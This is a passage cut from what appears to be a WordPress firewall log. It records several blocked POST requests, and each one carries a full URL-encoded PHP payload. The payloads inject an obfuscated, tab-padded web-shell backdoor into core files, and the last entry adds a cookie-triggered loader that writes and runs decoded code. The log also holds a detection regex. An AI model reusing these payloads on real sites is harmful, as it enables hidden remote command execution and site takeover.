hunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:41:48","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:6632\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:41:54","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM1bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6609\n\ngZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:41:57","52.232.35.131","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-core-upgrader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B44%252B-44%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B52-51%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B26%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B51%252B-47%255D%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520function%2520query_handler%2528%2524flag%2529%2520%257B%2520%2524pointer%2520%253D%2520%2524_COOKIE%253B%2520%2524mrk%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252741af4566%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_searcher%2522%253B%2520%257D%2520%2524obj%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pointer%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524mrk%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524mrk%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524obj%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524mrk%